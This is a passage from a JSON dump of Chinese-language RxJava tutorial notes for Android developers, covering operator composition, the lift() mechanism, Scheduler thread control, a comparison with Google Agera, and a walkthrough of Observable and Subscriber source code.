{\n                        subscriber.onNext(uri);\n                    }\n \n                    @Override\n                    public void onStoreFailed(Exception e) {\n                        subscriber.onError(e);\n                    }\n                });\n            }\n        });\n    }\n}\n \npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public Observable<Uri> saveTheCutestCat(String query) {\n        Observable<List<Cat>> catsListObservable = apiWrapper.queryCats(query);\n        Observable<Cat> cutestCatObservable = catsListObservable.map(new Func1<List<Cat>, Cat>() {\n            @Override\n            public Cat call(List<Cat> cats) {\n                return CatsHelper.this.findCutest(cats);\n            }\n        });\n        Observable<Uri> storedUriObservable = cutestCatObservable.flatMap(new Func1<Cat, Observable<? extends Uri>>() {\n            @Override\n            public Observable<? extends Uri> call(Cat cat) {\n                return apiWrapper.store(cat);\n            }\n        });\n        return storedUriObservable;\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n把 Observable 替换为 AsyncJob 后 他们的代码是一样的。\n\n#### 结论\n\n\n通过简单的转换操作，我们可以把异步操作抽象出来。这种抽象的结果可以像操作简单的阻塞函数一样来操作异步操作并组合异步操作。这样我们就可以摆脱层层嵌套的回调接口了，并且不用手工的去处理每次异步操作的异常。\n\n\n上面这个例子非常好，建议多看几遍，加深理解，可能把这个例子放在这里并不太好，把它放到开始讲之前可能更容易理解，但是我觉得，介绍完概念、使用方法和基本的操作符后，我们可能并不能理解操作符的原理和作用。之前看完操作符原理后迷迷糊糊的状态再来看这个例子会豁然开朗。    \n\n这里也感谢牛逼的作者[Yaroslav](https://github.com/yarikx)(也是`RxAndroid`项目的一个重要参与者)能用这么牛逼的例子，讲解的如此透彻。   \n\n\n如果嫌上面的代码麻烦，可以通过下面的例子看:   \n\n假设有这样一个需求：界面上有一个自定义的视图`imageCollectorView`，它的作用是显示多张图片，并能使用`addImage(Bitmap)` 方法来任意增加显示的图片。现在需要程序将一个给出的目录数组`File[] folders`中每个目录下的`png`图片都加载出来并显示在`imageCollectorView`中。需要注意的是，由于读取图片的这一过程较为耗时，需要放在后台执行，而图片的显示则必须在`UI`线程执行。常用的实现方式有多种，我这里贴出其中一种：\n\n\n```java\nnew Thread() {\n    @Override\n    public void run() {\n        super.run();\n        for (File folder : folders) {\n            File[] files = folder.listFiles();\n            for (File file : files) {\n                if (file.getName().endsWith(\".png\")) {\n                    final Bitmap bitmap = getBitmapFromFile(file);\n                    getActivity().runOnUiThread(new Runnable() {\n                        @Override\n                        public void run() {\n                            imageCollectorView.addImage(bitmap);\n                        }\n                    });\n                }\n            }\n        }\n    }\n}.start();\n```\n\n而如果使用 RxJava ，实现方式是这样的：\n\n```java\nObservable.from(folders)\n    .flatMap(new Func1<File, Observable<File>>() {\n        @Override\n        public Observable<File> call(File file) {\n            return Observable.from(file.listFiles());\n        }\n    })\n    .filter(new Func1<File, Boolean>() {\n        @Override\n        public Boolean call(File file) {\n            return file.getName().endsWith(\".png\");\n        }\n    })\n    .map(new Func1<File, Bitmap>() {\n        @Override\n        public Bitmap call(File file) {\n            return getBitmapFromFile(file);\n        }\n    })\n    .subscribeOn(Schedulers.io())\n    .observeOn(AndroidSchedulers.mainThread())\n    .subscribe(new Action1<Bitmap>() {\n        @Override\n        public void call(Bitmap bitmap) {\n            imageCollectorView.addImage(bitmap);\n        }\n    });\n```\n\n那位说话了：『你这代码明明变多了啊！简洁个毛啊！』大兄弟你消消气，我说的是逻辑的简洁，不是单纯的代码量少（逻辑简洁才是提升读写代码速度的必杀技对不？）。观察一下你会发现， `RxJava`的这个实现，是一条从上到下的链式调用，没有任何嵌套，这在逻辑的简洁性上是具有优势的。当需求变得复杂时，这种优势将更加明显（试想如果还要求只选取前`10`张图片，常规方式要怎么办？如果有更多这样那样的要求呢？再试想，在这一大堆需求实现完两个月之后需要改功能，当你翻回这里看到自己当初写下的那一片迷之缩进，你能保证自己将迅速看懂，而不是对着代码重新捋一遍思路？）。\n\n更多内容请看下一篇文章[RxJava详解(三)][1]\n\n\n参考:   \n\n- [RxJava Wiki](https://github.com/ReactiveX/RxJava/wiki)\n- [Grokking RxJava, Part 1: The Basics](http://blog.danlew.net/2014/09/15/grokking-rxjava-part-1/)\n- [NotRxJava](https://yarikx.github.io/NotRxJava/)\n- [When Not to Use RxJava](http://tomstechnicalblog.blogspot.hk/2016/07/when-not-to-use-rxjava.html)\n- [给 Android 开发者的 RxJava 详解](http://gank.io/post/560e15be2dca930e00da1083)\n- [Google Agera 从入门到放弃](http://blog.chengyunfeng.com/?p=984)\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/RxJavaPart/3.RxJava%E8%AF%A6%E8%A7%A3(%E4%B8%89).md \"RxJava详解(三)\"\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/RxJavaPart/3.RxJava详解(三).md",
    "content": "RxJava详解(三)\n===\n\n变换的原理`lift()`\n---\n\n这些变换虽然功能各有不同，但实质上都是针对事件序列的处理和再发送。而在`RxJava`的内部，它们是基于同一个基础的变换方法：`lift()`。\n\n首先看一下`lift()` 的内部实现（仅核心代码):      \n\n```java\n// 注意：这不是 lift() 的源码，而是将源码中与性能、兼容性、扩展性有关的代码剔除后的核心代码。\npublic <R> Observable<R> lift(Operator<? extends R, ? super T> operator) {\n    return Observable.create(new OnSubscribe<R>() {\n        @Override\n        public void call(Subscriber subscriber) {\n            Subscriber newSubscriber = operator.call(subscriber);\n            newSubscriber.onStart();\n            onSubscribe.call(newSubscriber);\n        }\n    });\n}\n```\n\n这段代码很有意思：它生成了一个新的`Observable`并返回，而且创建新`Observable`所用的参数`OnSubscribe的回调方法`call()`中的实现竟然看起来和前面讲过的`Observable.subscribe()`一样！然而它们并不一样哟~不一样的地方关键就在于第二行`onSubscribe.call(subscriber)`中的`onSubscribe` 所指代的对象不同          \n- `subscribe()`中这句话的`onSubscribe`指的是`Observable`中的`onSubscribe`对象，这个没有问题，但是`lift()`之后的情况就复杂了点。\n- 当含有`lift()`时： \n    - `lift()`创建了一个`Observable`后，加上之前的原始`Observable`，已经有两个`Observable`了； \n    - 而同样地，新`Observable`里的新`OnSubscribe`加上之前的原始`Observable`中的原始`OnSubscribe`，也就有了两个`OnSubscribe`； \n    - 当用户调用经过`lift()`后的`Observable`的`subscribe()`的时候，使用的是`lift()`所返回的新的`Observable`，于是它所触发的`onSubscribe.call(subscriber)`，也是用的新`Observable`中的新`OnSubscribe`，即在`lift()`中生成的那个`OnSubscribe`； \n    - 而这个新`OnSubscribe`的`call()`方法中的`onSubscribe`，就是指的原始`Observable`中的原始`OnSubscribe`，在这个`call()`方法里，新`OnSubscribe`利用`operator.call(subscriber)`生成了一个新的`Subscriber`(`Operator`就是在这里，通过自己的`call()`方法将新`Subscriber`和原始`Subscriber` 进行关联，并插入自己的『变换』代码以实现变换），然后利用这个新`Subscriber`向原始`Observable`进行订阅。 \n    这样就实现了`lift()`过程，有点像一种代理机制，通过事件拦截和处理实现事件序列的变换。\n\n精简掉细节的话，也可以这么说：在`Observable`执行了`lift(Operator)`方法之后，会返回一个新的`Observable`，这个新的`Observable`会像一个代理一样，负责接收原始的`Observable` 发出的事件，并在处理后发送给`Subscriber`。\n\n如果你更喜欢具象思维，可以看图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_lift.gif?raw=true)\n\n举一个具体的`Operator`的实现。下面这是一个将事件中的`Integer`对象转换成`String`的例子，仅供参考：\n\n```java\nobservable.lift(new Observable.Operator<String, Integer>() {\n    @Override\n    public Subscriber<? super Integer> call(final Subscriber<? super String> subscriber) {\n        // 将事件序列中的 Integer 对象转换为 String 对象\n        return new Subscriber<Integer>() {\n            @Override\n            public void onNext(Integer integer) {\n                subscriber.onNext(\"\" + integer);\n            }\n\n            @Override\n            public void onCompleted() {\n                subscriber.onCompleted();\n            }\n\n            @Override\n            public void onError(Throwable e) {\n                subscriber.onError(e);\n            }\n        };\n    }\n});\n```\n> 讲述`lift()`的原理只是为了让你更好地了解`RxJava` ，从而可以更好地使用它。然而不管你是否理解了`lift()`的原理,`RxJava`都不建议开发者自定义`Operator`来直接使用`lift()`，而是建议尽量使用已有的`lift()`包装方法（如`map()、flatMap()`等）进行组合来实现需求，因为直接使用`lift()`非常容易发生一些难以发现的错误。\n\n\n线程控制`Scheduler`\n---\n\n在不指定线程的情况下，`RxJava`遵循的是线程不变的原则，即在哪个线程调用`subscribe()`方法就在哪个线程生产事件；在哪个线程生产事件，就在哪个线程消费事件。也就是说事件的发出和消费都是在同一个线程的。观察者模式本身的目的就是『后台处理，前台回调』的异步机制，因此异步对于`RxJava`是至关重要的。而要实现异步，则需要用到`RxJava`的另一个概念：`Scheduler`。   \n\n\n#### `Scheduler`简介\n\n\n在`RxJava`中,`Scheduler`相当于线程控制器，`RxJava`通过它来指定每一段代码应该运行在什么样的线程。`RxJava`已经内置了几个`Scheduler`，它们已经适合大多数的使用场景：\n\n- `Schedulers.immediate()`: 直接在当前线程运行，相当于不指定线程。这是默认的`Scheduler`。\n- `Schedulers.newThread()`: 总是启用新线程，并在新线程执行操作。\n- `Schedulers.io()`: I/O 操作（读写文件、读写数据库、网络信息交互等）所使用的`Scheduler`。行为模式和`newThread()`差不多，区别在于`io()` 的内部实现是是用一个无数量上限的线程池，可以重用空闲的线程，因此多数情况下`io()`比`newThread()`更有效率。不要把计算工作放在`io()`中，可以避免创建不必要的线程。\n- `Schedulers.computation()`: 计算所使用的`Scheduler`。这个计算指的是`CPU`密集型计算，即不会被`I/O`等操作限制性能的操作，例如图形的计算。这个`Scheduler` 使用的固定的线程池，大小为`CPU`核数。不要把`I/O`操作放在`computation()`中，否则`I/O`操作的等待时间会浪费`CPU`。\n- 另外，`Android`还有一个专用的`AndroidSchedulers.mainThread()`，它指定的操作将在`Android`主线程运行。\n\n\n有了这几个`Scheduler`，就可以使用`subscribeOn()`和`observeOn()`两个方法来对线程进行控制了。`subscribeOn()`指定`subscribe()`所发生的线程，即`Observable.OnSubscribe()`被激活时所处的线程或者叫做事件产生的线程。`observeOn()`指定`Subscriber`所运行在的线程或者叫做事件消费的线程。\n\n```java\nObservable.just(\"Hello \", \"World !\")\n        .subscribeOn(Schedulers.io()) // 指定 subscribe() 发生在 IO 线程，可以理解成数据的获取是在io线程\n        .observeOn(AndroidSchedulers.mainThread())// 指定 Subscriber 的回调发生在主线程，可以理解成数据的消费时在主线程\n        .subscribe(new Action1<String>() {\n            @Override\n            public void call(String s) {\n                Log.i(\"@@@\", s);\n            }\n        });\n```\n\n上面这段代码中，`subscribeOn(Schedulers.io())`的指定会让创建的事件的内容`Hello `、`World !`将会在`IO`线程发出；而由于`observeOn(AndroidScheculers.mainThread())` 的指定，因此`subscriber()`方法设置后的回调中内容的打印将发生在主线程中。事实上，这种在`subscribe()`之前写上两句`subscribeOn(Scheduler.io())`和`observeOn(AndroidSchedulers.mainThread())`的使用方式非常常见，它适用于多数的***后台线程取数据，主线程显示***的程序策略。\n\n#### `Scheduler`的原理\n\n`RxJava`的`Scheduler API`很方便，也很神奇（加了一句话就把线程切换了，怎么做到的？而且 subscribe() 不是最外层直接调用的方法吗，它竟然也能被指定线程？）。然而 Scheduler 的原理需要放在后面讲，因为它的原理是以下一节《变换》的原理作为基础的。\n\n好吧这一节其实我屁也没说，只是为了让你安心，让你知道我不是忘了讲原理，而是把它放在了更合适的地方。\n\n\n能不能多切换几次线程？答案是：能。因为`observeOn()`指定的是`Subscriber`的线程，而这个`Subscriber`并不是（严格说应该为『不一定是』，但这里不妨理解为『不是』）`subscribe()` 参数中的`Subscriber`，而是`observeOn()`执行时的当前`Observable`所对应的`Subscriber`，即它的直接下级`Subscriber`。换句话说`observeOn()` 指定的是它之后的操作所在的线程。因此如果有多次切换线程的需求，只要在每个想要切换线程的位置调用一次`observeOn()`即可。\n\n上代码：\n\n```java\nObservable.just(1, 2, 3, 4) // IO 线程，由 subscribeOn() 指定\n    .subscribeOn(Schedulers.io())\n    .observeOn(Schedulers.newThread())\n    .map(mapOperator) // 新线程，由 observeOn() 指定\n    .observeOn(Schedulers.io())\n    .map(mapOperator2) // IO 线程，由 observeOn() 指定\n    .observeOn(AndroidSchedulers.mainThread) \n    .subscribe(subscriber);  // Android 主线程，由 observeOn() 指定\n```\n如上，通过`observeOn()`的多次调用，程序实现了线程的多次切换。\n不过，不同于`observeOn()`,`subscribeOn()`的位置放在哪里都可以，但它是只能调用一次的。\n\n其实，`subscribeOn()`和`observeOn()`的内部实现，也是用的`lift()`。\n\n具体看图（不同颜色的箭头表示不同的线程,`subscribeOn()`原理图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_subscribeon.jpg?raw=true)\n\n`observeOn()`原理图: \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_observeon.jpg?raw=true)\n\n从图中可以看出,`subscribeOn()`和`observeOn()`都做了线程切换的工作（图中的`schedule...`部位）。不同的是,`subscribeOn()`的线程切换发生在`OnSubscribe`中，即在它通知上一级 `OnSubscribe`时，这时事件还没有开始发送，因此`subscribeOn()`的线程控制可以从事件发出的开端就造成影响；而`observeOn()`的线程切换则发生在它内建的`Subscriber`中，即发生在它即将给下一级`Subscriber`发送事件时，因此`observeOn()`控制的是它后面的线程。\n\n最后，我用一张图来解释当多个`subscribeOn()`和`observeOn()`混合使用时，线程调度是怎么发生的（由于图中对象较多，相对于上面的图对结构做了一些简化调整）：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/rxjava_observable_list.jpg?raw=true)\n\n图中共有5处含有对事件的操作。由图中可以看出，①和②两处受第一个`subscribeOn()`影响，运行在红色线程；③和④处受第一个`observeOn()`的影响，运行在绿色线程；⑤处受第二个 `onserveOn()`影响，运行在紫色线程；而第二个`subscribeOn()`，由于在通知过程中线程就被第一个`subscribeOn()` 截断，因此对整个流程并没有任何影响。这里也就回答了前面的问题：当使用了多个`subscribeOn()`的时候，只有第一个`subscribeOn()`起作用。\n\n在前面讲`Subscriber`的时候，提到过`Subscriber`的`onStart()`可以用作流程开始前的初始化。然而`onStart()`由于在`subscribe()`发生时就被调用了，因此不能指定线程，而是只能执行在`subscribe()`被调用时的线程。这就导致如果`onStart()`中含有对线程有要求的代码（例如在界面上显示一个`ProgressBar`，这必须在主线程执行），将会有线程非法的风险，因为有时你无法预测`subscribe()`将会在什么线程执行。\n\n而与`Subscriber.onStart()`相对应的，有一个方法`Observable.doOnSubscribe()`。它和`Subscriber.onStart()`同样是在`subscribe()`调用后而且在事件发送前执行，但区别在于它可以指定线程。默认情况下,`doOnSubscribe()`执行在`subscribe()`发生的线程；而如果在`doOnSubscribe()`之后有`subscribeOn()`的话，它将执行在离它最近的`subscribeOn()`所指定的线程。\n\n示例代码：\n\n```java\nObservable.create(onSubscribe)\n    .subscribeOn(Schedulers.io())\n    .doOnSubscribe(new Action0() {\n        @Override\n        public void call() {\n            progressBar.setVisibility(View.VISIBLE); // 需要在主线程执行\n        }\n    })\n    .subscribeOn(AndroidSchedulers.mainThread()) // 指定主线程\n    .observeOn(AndroidSchedulers.mainThread())\n    .subscribe(subscriber);\n```\n\n如上，在`doOnSubscribe()`的后面跟一个`subscribeOn()`，就能指定准备工作的线程了。\n\n#### 总结\n\n\n`RxJava`辣么好，难道他就没有缺点吗？当然有那就是使用越来越多的订阅，内存开销也会变得很大，稍不留神就会出现内存溢出的情况。我们可以用`RxJava`实现基本任何功能，但是你并不能这么做，你要明白什么时候需要用它，而什么时候没必要用它，不要一味的把功能都有`RxJava`来实现。    \n\n至于上面提到的`2.0`版本，有关它的区别请见:    \n[What's different in 2.0](https://github.com/ReactiveX/RxJava/wiki/What's-different-in-2.0)\n\n\n更多内容请看下一篇文章[RxJava详解(四)][1]\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/RxJavaPart/4.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E6%89%A7%E8%A1%8C%E5%8E%9F%E7%90%86(%E5%9B%9B).md \"RxJava详解(四)\"\n\n\nAgera\n---\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/agera.png?raw=true)\n\n\n之前`Google`发布`agera`，它在`Github`上的介绍是:`Reactive Programming for Android`\n\n[agera](https://github.com/google/agera)\n\n既然是响应式编程框架，其核心思想肯定和`RxJava`也是类似的。\n`Agera`中核心也是关于事件流（数据流）的处理，可以转换数据、可以指定数据操作函数在那个线程执行。\n而`Agera`和`RxJava`不一样的地方在于，`Agera`提供了一个新的事件响应和数据请求的模型，被称之为`Push event, pull data`。也就是一个事件发生了，会通过回调来主动告诉你，你关心的事件发生了。然后你需要主动的去获取数据，根据获取到的数据做一些操作。而`RxJava`在事件发生的时候，已经带有数据了。为了支持 `Push event pull data`模型，`Agera`中有个新的概念 — `Repository`。`Repository`翻译过来也就是数据仓库,是用来提供数据的,当你收到事件的时候,通过`Repository`来获取需要的数据。 这样做的好处是，把事件分发和数据处理的逻辑给分开了，事件分发做的事情比较少，事件分发就比较高效，当你收到事件后，根据当前的状态如果发现这个时候，数据已经无效了，则你根本不用请求数据，这样数据也就不用去处理和转换了。这样可以避免无用的数据计算，而有用的数据计算也可以在你需要的时候才去计算。\n同样，在多线程环境下，使用`push event pull data`模型，可能当你收到事件通知的时候，你只能获取到最新的数据，无法去获取历史数据了。设计就是这样考虑的，因为在`Android`开发中大部分的数据都是用来更新`UI`的，这个时候你根本不需要旧的数据了，只要最新的就够了。\n\n`Agera`相对比较简单，并且是一个专业为`Android`平台打造的响应式编程框架。但是如果你熟悉了`RxJava`你会发现其用起来会有点不舒服，特别是还要主动的获取数据略感不爽（虽然提高了事件分发的效率）。 \n\n总之，现在看来`RxJava`支持的比较全面，但是会略显笨重，而`Agera`是一个专门为`Android`平台设计的响应式编程框架，比较轻巧，当然支持的并不是很全面。可以根据自己的喜好来选择.\n\n但是从个人观点来看`Agera`比起来`RxJava`还是相差几个版本。当然这是我的片面之词，有关更多信息请看[Question: what's the relation to RxJava?](https://github.com/google/agera/issues/20)\n\n\n参考:   \n\n- [RxJava Wiki](https://github.com/ReactiveX/RxJava/wiki)\n- [Grokking RxJava, Part 1: The Basics](http://blog.danlew.net/2014/09/15/grokking-rxjava-part-1/)\n- [NotRxJava](https://yarikx.github.io/NotRxJava/)\n- [When Not to Use RxJava](http://tomstechnicalblog.blogspot.hk/2016/07/when-not-to-use-rxjava.html)\n- [给 Android 开发者的 RxJava 详解](http://gank.io/post/560e15be2dca930e00da1083)\n- [Google Agera 从入门到放弃](http://blog.chengyunfeng.com/?p=984)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/RxJavaPart/4.RxJava详解之执行原理(四).md",
    "content": "RxJava详解之执行原理(四)\n===\n\n\n前面几篇文章介绍了`RxJava`的基本使用，也说了`RxJava`的优缺点。下面我们就从源码的角度去分析一下`RxJava`的原理，以及如何进行\n线程切换和导致内存泄漏的原因。         \n\n```java\n// 创建被观察者、数据源\nObservable<String> observable = Observable.create(new Observable.OnSubscribe<String>() {\n    @Override\n    public void call(Subscriber<? super String> subscriber) {\n        // 可以看到，这里传入了一个 OnSubscribe 对象作为参数。OnSubscribe 会被存储在返回的 Observable 对象中，它的作用相当于一个计划表，当 Observable\n        //被订阅的时候，OnSubscribe 的 call() 方法会自动被调用，事件序列就会依照设定依次触发（对于上面的代码，就是观察者Subscriber 将会被调用三次 onNext() 和一次\n        // onCompleted()）。这样，由被观察者调用了观察者的回调方法，就实现了由被观察者向观察者的事件传递，即观察者模式。\n        Log.i(\"@@@\", \"call\");\n        subscriber.onNext(\"Hello \");\n        subscriber.onNext(\"World !\");\n        subscriber.onCompleted();\n    }\n});\n// 创建观察者\nSubscriber<String> subscriber = new Subscriber<String>() {\n    @Override\n    public void onCompleted() {\n        Log.i(\"@@@\", \"onCompleted\");\n    }\n\n    @Override\n    public void onError(Throwable e) {\n        Log.i(\"@@@\", \"onError\");\n    }\n\n    @Override\n    public void onNext(String s) {\n        Log.i(\"@@@\", \"onNext : \" + s);\n    }\n};\n// 关联或者叫订阅更合适。\nobservable.subscribe(subscriber);\n\n```\n\n\nObservable源码分析\n---\n\n\n先看一下`Observable.create()`方法:  \n\n```java\n\npublic class Observable<T> {\n\n    final OnSubscribe<T> onSubscribe;\n\n    /**\n     * Creates an Observable with a Function to execute when it is subscribed to.\n     * <p>\n     * <em>Note:</em> Use {@link #create(OnSubscribe)} to create an Observable, instead of this constructor,\n     * unless you specifically have a need for inheritance.\n     *\n     * @param f\n     *            {@link OnSubscribe} to be executed when {@link #subscribe(Subscriber)} is called\n     */\n    protected Observable(OnSubscribe<T> f) {\n        this.onSubscribe = f;\n    }\n\n\tpublic static <T> Observable<T> create(OnSubscribe<T> f) {\n\t\t// 调用了上面的构造函数创建一个Observable对象，而RxJavaHooks.onCreate(f)是啥呢？ 源码我们下面会看，这里我们只要知道`RxjavaHooks.onCreate(f)`的返回值还是f就行了\n\t    return new Observable<T>(RxJavaHooks.onCreate(f));\n\t}\n\t\n\n\tstatic <T> Subscription subscribe(Subscriber<? super T> subscriber, Observable<T> observable) {\n     \t// validate and proceed\n        if (subscriber == null) {\n            throw new IllegalArgumentException(\"subscriber can not be null\");\n        }\n        // 这里会使用到Observable中的成员变量onSubscribe\n        if (observable.onSubscribe == null) {\n            throw new IllegalStateException(\"onSubscribe function can not be null.\");\n        }\n\n        // new Subscriber so onStart it\n        subscriber.onStart();\n        // The code below is exactly the same an unsafeSubscribe but not used because it would\n        // add a significant depth to already huge call stacks.\n        try {\n            // allow the hook to intercept and/or decorate\n            // 这里会使用到Observable中的成员变量onSubscribe\n            RxJavaHooks.onObservableStart(observable, observable.onSubscribe).call(subscriber);\n            return RxJavaHooks.onObservableReturn(subscriber);\n        } catch (Throwable e) {\n        \t。。。\n        }\n    }\n\n}\n```\n\n需要一个`OnSubscribe`参数，`OnSbuscribe`接口继承`Action1`接口的它是在`Observale.subscribe()`方法调用时会执行的操作也就是说当调用`observable.subscribe()`方法时就会执行到该参数的`call`方法:  \n```java\n/**\n * Invoked when Observable.subscribe is called.\n * @param <T> the output value type\n */\npublic interface OnSubscribe<T> extends Action1<Subscriber<? super T>> {\n    // cover for generics insanity\n}\n\n/**\n * A one-argument action.\n * @param <T> the first argument type\n */\npublic interface Action1<T> extends Action {\n    void call(T t);\n}\n```\n\n而在上面`Observable.create()`方法中我们看到其实是调用了`Observable`类的构造函数，但是在参数那里传入的是`RxJavaHooks.onCreate(f)`:   \n```java\n@Experimental\npublic final class RxJavaHooks {\n\tstatic volatile Func1<Observable.OnSubscribe, Observable.OnSubscribe> onObservableCreate;\n\n    /** Initialize with the default delegation to the original RxJavaPlugins. */\n    // 哎~静态代码块\n    static {\n        init();\n    }\n\n    static void init() {\n        ...\n        initCreate()\n    }\n\tstatic void initCreate() {\n        onObservableCreate = new Func1<Observable.OnSubscribe, Observable.OnSubscribe>() {\n            @Override\n            public Observable.OnSubscribe call(Observable.OnSubscribe f) {\n                return RxJavaPlugins.getInstance().getObservableExecutionHook().onCreate(f);\n            }\n        };\n\n        onSingleCreate = new Func1<rx.Single.OnSubscribe, rx.Single.OnSubscribe>() {\n            @Override\n            public rx.Single.OnSubscribe call(rx.Single.OnSubscribe f) {\n                return RxJavaPlugins.getInstance().getSingleExecutionHook().onCreate(f);\n            }\n        };\n\n        onCompletableCreate = new Func1<Completable.OnSubscribe, Completable.OnSubscribe>() {\n            @Override\n            public Completable.OnSubscribe call(Completable.OnSubscribe f) {\n                return RxJavaPlugins.getInstance().getCompletableExecutionHook().onCreate(f);\n            }\n        };\n    }\n\n    /**\n     * Hook to call when an Observable is created.\n     * @param <T> the value type\n     * @param onSubscribe the original OnSubscribe logic\n     * @return the original or replacement OnSubscribe instance\n     */\n    @SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n    public static <T> Observable.OnSubscribe<T> onCreate(Observable.OnSubscribe<T> onSubscribe) {\n    \t// 这里onObservableCreate只有在调用initCreate()方法才会初始化，而initCreate()又被init()方法调用，init()在静态代码块中\n        Func1<Observable.OnSubscribe, Observable.OnSubscribe> f = onObservableCreate;\n        if (f != null) {\n            // 所以之列返回的上面onObservableCreate创建的对OnSubscribe对象,其实这里可以简单的理解为直接返回onSubscribe参数\n            return f.call(onSubscribe);\n        }\n        return onSubscribe;\n    }\n\n    public static void clear() {\n        if (lockdown) {\n            return;\n        }\n        onError = null;\n\n        onObservableCreate = null;\n        ...\n    }\n}    \n```\n\n继续看一下`RxJavaPlugins.getInstance().getObservableExecutionHook().onCreate(f);`:  \n```java\npublic <T> OnSubscribe<T> onCreate(OnSubscribe<T> f) {\n    return f;\n}\n```\n\n到这里我们总结一下:  \n\n`Observable.create(OnSubscribe f)`方法其实就是内部`new`了一个被观察者`Observable`对象，同时将参数中所传过来的`new`出来的`OnSubscribe`对象赋值给了该`Observable`的成员变量`onSubscribe`。\n那一定会想知道把`create(OnSubscribe f)`的参数赋值给成员变量`onSubscribe`有什么用呢？ 当然是在`Observable.subscribe()`和`unSubscribe()`中会用到啊。  \n\n\nSubscriber源码分析\n---\n\n我们在上面的例子中只是`new`了一个`Subscriber`对象并且实现了对应的方法.   \n`Subscriber`源码并不多，一共二百多行，所以....我要删除些无用的，然后都贴上来:   \n```java\n/**\n * Provides a mechanism for receiving push-based notifications from Observables, and permits manual\n * unsubscribing from these Observables.\n */\npublic abstract class Subscriber<T> implements Observer<T>, Subscription {\n\n    // represents requested not set yet\n    private static final long NOT_SET = Long.MIN_VALUE;\n    // Subscription that represents a group of Subscriptions that are unsubscribed together.\n    // 订阅事件集，所有发送给当前Subscriber的事件都会保存在这里\n    private final SubscriptionList subscriptions;\n    private final Subscriber<?> subscriber;\n    /**\n\t * Interface that establishes a request-channel between an Observable and a Subscriber and allows\n\t * the Subscriber to request a certain amount of items from the Observable (otherwise known as\n\t * backpressure).\n\t */\n    private Producer producer;\n\n    protected Subscriber() {\n        this(null, false);\n    }\n\n    protected Subscriber(Subscriber<?> subscriber) {\n        this(subscriber, true);\n    }\n\n    /**\n     * Construct a Subscriber by using another Subscriber for backpressure and\n     * optionally for holding the subscription list (if\n     * <code>shareSubscriptions</code> is <code>true</code> then when\n     * <code>this.add(sub)</code> is called this will in fact call\n     * <code>subscriber.add(sub)</code>).\n     * <p>\n     * To retain the chaining of subscribers when setting\n     * <code>shareSubscriptions</code> to <code>false</code>, add the created\n     * instance to {@code subscriber} via {@link #add}.\n     *\n     * @param subscriber\n     *            the other Subscriber\n     * @param shareSubscriptions\n     *            {@code true} to share the subscription list in {@code subscriber} with\n     *            this instance\n     * @since 1.0.6\n     */\n    protected Subscriber(Subscriber<?> subscriber, boolean shareSubscriptions) {\n        this.subscriber = subscriber;\n        this.subscriptions = shareSubscriptions && subscriber != null ? subscriber.subscriptions : new SubscriptionList();\n    }\n\n    /**\n     * Adds a {@link Subscription} to this Subscriber's list of subscriptions if this list is not marked as\n     * unsubscribed. If the list <em>is</em> marked as unsubscribed, {@code add} will indicate this by\n     * explicitly unsubscribing the new {@code Subscription} as well.\n     *\n     * @param s\n     *            the {@code Subscription} to add\n     */\n    public final void add(Subscription s) {\n        subscriptions.add(s);\n    }\n\n    @Override\n    public final void unsubscribe() {\n        subscriptions.unsubscribe();\n    }\n\n    /**\n     * This method is invoked when the Subscriber and Observable have been connected but the Observable has\n     * not yet begun to emit items or send notifications to the Subscriber. Override this method to add any\n     * useful initialization to your subscription, for instance to initiate backpressure.\n     */\n    public void onStart() {\n        // do nothing by default\n    } \n}\n```\n可以看到`Subscriber`实现了`Observer`和`Subscription`接口:   \n```java\npublic interface Observer<T> {\n    void onCompleted();\n    void onError(Throwable e);\n    void onNext(T t);\n}\n\npublic interface Subscription {\n    void unsubscribe();\n    boolean isUnsubscribed();\n}\n```\n\nobservable.subscribe(subscriber)源码分析\n---\n\n好了，关系部分出现了，我们继续看`Observable`类中的`subscribe()`方法，上面在将`Observable`源码的时候我们简单带过这部分，没有细说，这里仔细说一下:     \n```java\npublic class Observable<T> {\n    final OnSubscribe<T> onSubscribe;\n    protected Observable(OnSubscribe<T> f) {\n        this.onSubscribe = f;\n    }\n    public static <T> Observable<T> create(OnSubscribe<T> f) {\n        return new Observable<T>(RxJavaHooks.onCreate(f));\n    }\n\n    public final Subscription subscribe(Subscriber<? super T> subscriber) {\n        return Observable.subscribe(subscriber, this);\n    }\n\n    static <T> Subscription subscribe(Subscriber<? super T> subscriber, Observable<T> observable) {\n     \t// validate and proceed\n        if (subscriber == null) {\n            throw new IllegalArgumentException(\"subscriber can not be null\");\n        }\n\n        if (observable.onSubscribe == null) {\n            throw new IllegalStateException(\"onSubscribe function can not be null.\");\n            /*\n             * the subscribe function can also be overridden but generally that's not the appropriate approach\n             * so I won't mention that in the exception\n             */\n        }\n\n        // new Subscriber so onStart it\n        // 1.首先调用Subscriber.onStart()方法，上面我们知道该方法没有实现\n        subscriber.onStart();\n\n        /*\n         * See https://github.com/ReactiveX/RxJava/issues/216 for discussion on \"Guideline 6.4: Protect calls\n         * to user code from within an Observer\"\n         */\n        // if not already wrapped\n        // 把当前的subscriber转换成SafeSubscriber，SafeSubscriber是一个包装类，他对一些安全性做了校验，保证Subscriber中的onComplete和onError只会有一个被执行且执行一次\n        // 而且一旦他们执行了后就不会再继续执行onNext方法\n        if (!(subscriber instanceof SafeSubscriber)) {\n            // assign to `observer` so we return the protected version\n            subscriber = new SafeSubscriber<T>(subscriber);\n        }\n\n        // The code below is exactly the same an unsafeSubscribe but not used because it would\n        // add a significant depth to already huge call stacks.\n        try {\n            // allow the hook to intercept and/or decorate\n            // 这里就是核心了\n            RxJavaHooks.onObservableStart(observable, 